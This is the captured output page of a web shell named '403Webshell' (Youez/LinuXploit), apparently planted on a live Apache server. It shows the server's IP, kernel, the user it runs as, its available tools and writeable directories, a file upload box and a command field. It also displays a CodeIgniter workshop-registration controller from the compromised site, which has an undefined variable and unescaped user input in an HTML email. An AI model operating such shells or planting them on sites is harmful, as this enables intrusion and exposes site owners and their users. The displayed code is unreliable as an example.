403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/adeetie/application/modules/workshop/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/adeetie/application/modules/workshop/controllers/Workshop.php
<?php
class Workshop extends MY_Controller
{
	public function __construct()
	{
		parent::__construct();
		$this->load->model('home/home_model');
		$this->load->model('workshop/workshop_model');
		$this->load->library('ion_auth');
		$this->data['menu']= $this->home_model->get_menu();
		$this->load->vars($this->data);
    }


	function register($workshopid) {
		$this->form_validation->set_rules('name', 'First name', 'required|alpha_numeric_spaces');
		$this->form_validation->set_rules('email', 'email', 'required|valid_email');
		$this->form_validation->set_rules('mobile', 'mobile', 'required|numeric');
		$this->form_validation->set_rules('state', 'state', 'required');
		$this->form_validation->set_rules('designation', 'designation', 'required');
		$this->form_validation->set_rules('business_category', 'Business category', 'required');

		$this->data['states'] = $this->home_model->getStates();
		$this->data['training'] = $this->workshop_model->get_training_detail($workshopid);
		if ($this->form_validation->run() == FALSE) {
			$this->data['page'] = 'workshop';
			$this->_render_page(get_template(), $this->data);  
		} else {
			$this->workshop_model->add_participant($workshopid);
			$this->_agenda_mail($this->input->post('email'), $this->input->post('name'), $workshop);
		}
	}


	function thanks() {
		$this->data['page'] = 'thanks';
		$this->_render_page(get_template(), $this->data);
	}


	public function _agenda_mail($email, $name, $workshop) {
        
		$this->load->library('email');
		$config = array();
		$config['charset'] = 'utf-8';
		$config['newline'] = "\r\n";
		$config['wordwrap'] = true;
		$config['useragent'] = "CodeIgniter";
		$config['mailpath']  = "/usr/bin/sendmail";
		$mail_config['mailtype'] = 'html'; //FIXED
		$mail_config['send_multipart'] = false;

		$this->email->initialize($mail_config);
		$this->email->from('mail@bee.umon.in', 'Reset password link');
		$this->email->to($email);

		$msg = "";
		$msg .= "<table>";
		$msg .= "<tr><td>Dear ".$name.",</td></tr>";
		$msg .= "<tr><td>&nbsp;</td></tr>";
		$msg .= "<tr><td>Thank you for registering to ".$workshop['training_title']."</td></tr>";
		$msg .= "<tr><td>Please find workshop link below:</td></tr>";
		$msg .= "<tr><td>&nbsp;</td></tr>";
		$msg .= "<tr><td>Workshop meeting link -".$workshop['training_link']."</td></tr>";
		$msg .= "<tr><td>&nbsp;</td></tr>";
		$msg .= "<tr><td>&nbsp;</td></tr>";
		$msg .= "<tr><td>&nbsp;</td></tr>";
		$msg .= "<tr><td>-- ADEETIE Team </td></tr>";
		$msg .= "<table>";

		$this->email->subject('Workshop Meeting link - ADEETIE');
		$this->email->message($msg);
		$this->email->send(false);
}

}

Youez - 2016 - github.com/yon3zu
LinuXploit